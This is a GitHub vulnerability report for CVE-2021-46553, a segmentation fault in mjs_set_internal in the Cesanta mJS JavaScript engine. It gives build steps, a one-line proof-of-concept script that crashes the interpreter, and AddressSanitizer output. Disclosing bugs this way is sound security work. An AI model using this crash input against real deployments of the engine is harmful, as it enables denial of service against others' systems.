Headline

CVE-2021-46553: SEGV src/mjs_object.c:207 in mjs_set_internal · Issue #226 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_set_internal at src/mjs_object.c. This vulnerability can lead to a Denial of Service (DoS).

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #dos #js #git

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

Comments

@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

(JSON.stringify([1, 2, 3]))((load - 6. + 4321e2)([([JSON.parse(JSON.stringify([(0)]))])]));

Execution steps & Output

$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==51917==ERROR: AddressSanitizer: SEGV on unknown address 0xffffffffffffff81 (pc 0x5576b72e39f0 bp 0x000000000081 sp 0x7ffd4baed160 T0) ==51917==The signal is caused by a READ memory access. #0 0x5576b72e39ef in mjs_set_internal src/mjs_object.c:207 #1 0x5576b72e39ef in mjs_set_v src/mjs_object.c:155

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/mjs_object.c:207 in mjs_set_internal ==51917==ABORTING

Credits: Found by OWL337 team.

1 participant

@hope-fly